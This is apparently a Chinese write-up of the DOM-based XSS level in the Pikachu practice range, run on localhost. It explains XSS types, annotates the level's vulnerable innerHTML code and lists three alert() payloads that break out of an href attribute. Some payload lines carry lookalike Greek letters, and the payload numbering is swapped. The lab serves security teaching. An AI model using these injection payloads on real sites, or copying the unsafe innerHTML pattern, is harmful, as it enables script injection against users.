pikachu靶场通关笔记08 XSS关卡04-DOM型XSS
目录
一、XSS原理
二、DOM型XSS
三、源码分析
1、进入靶场
2、XSS探测
3、源码分析
四、渗透实战
1、Payload1
2、Payload2
3、Payload3
本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。
一、XSS原理
XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。
类型 | 原理 | 数据交互 | 危害 |
---|---|---|---|
反射型 XSS | 攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行 | URL 参数传入恶意脚本,服务器原样返回 | 泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作 |
存储型 XSS | 恶意脚本被存储在服务器端,用户访问相关页面时执行 | 恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容 | 影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持 |
DOM 型 XSS | 攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理 | 在页面表单输入恶意脚本,页面 JS 处理输入时触发 | 破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作 |
二、DOM型XSS
DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。
分类 | DOM型XSS |
---|---|
存储位置 | 不经过服务器,恶意代码存在于URL片段(# 后)或前端输入 |
触发方式 | 前端JavaScript动态操作DOM时执行 |
攻击场景 | 单页应用(SPA)、动态网页、依赖前端路由的Web应用 |
危害范围 | 执行恶意脚本的用户 |
攻击特点 | 绕过服务端检测(WAF无效),纯前端风险 |
防御措施 | 安全的DOM操作(如textContent 替代innerHTML )、前端输入验证、CSP策略 |
修复难度 | 中(需全面检查前端代码) |
三、源码分析
1、进入靶场
进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom.php
2、XSS探测
输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。
'"<>?&ljn20241019
测试 发现输入和输出有区别,
3、源码分析
查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出
这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。
<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')"> → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')"> → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>
分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。
function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}
XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。
1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签
XSS原理如下所示。
XSS类型 | DOM型XSS |
---|---|
触发条件 | 用户输入直接拼接到innerHTML ,未经过滤或编码 |
攻击方式 | 通过闭合标签(如'> )注入恶意HTML/JS代码 |
危害 | 窃取Cookie、钓鱼攻击、页面篡改 |
XSS成因与示例如下所示。
问题环节 | 具体风险 | 攻击示例 |
---|---|---|
未过滤用户输入 | 用户控制的str 直接拼接到innerHTML 中 | 输入'><img src="#" onmouseover="alert('xss')"> |
危险API使用 | innerHTML 会解析HTML/JS代码(非安全文本插入) | 输入' onclick="alert('xss')"> 闭合标签并注入事件 |
缺乏输出编码 | 未对用户输入的" ' < > 等字符转义 | 输入javascript:alert(1) 可构造恶意链 |
四、渗透实战
<a href='"+str+"'>what do you see?</a>
1、Payload1
payload1: #' οnclick=alert("ljn")>
#' onclick=alert("ljn")>
闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>
点击click me后,下方生成链接,点击链接后,弹框ljn
分析:右键元素-点击查看器-Ctrl+F搜索关键字what
2、Payload2
payload3: ' οnclick="alert('ljn')">
' onclick="alert('ljn')">
闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>
3、Payload3
payload2: '><img src="#" οnmοuseοver="alert('ljn')">
'><img src="#" onmouseover="alert('ljn')">
闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>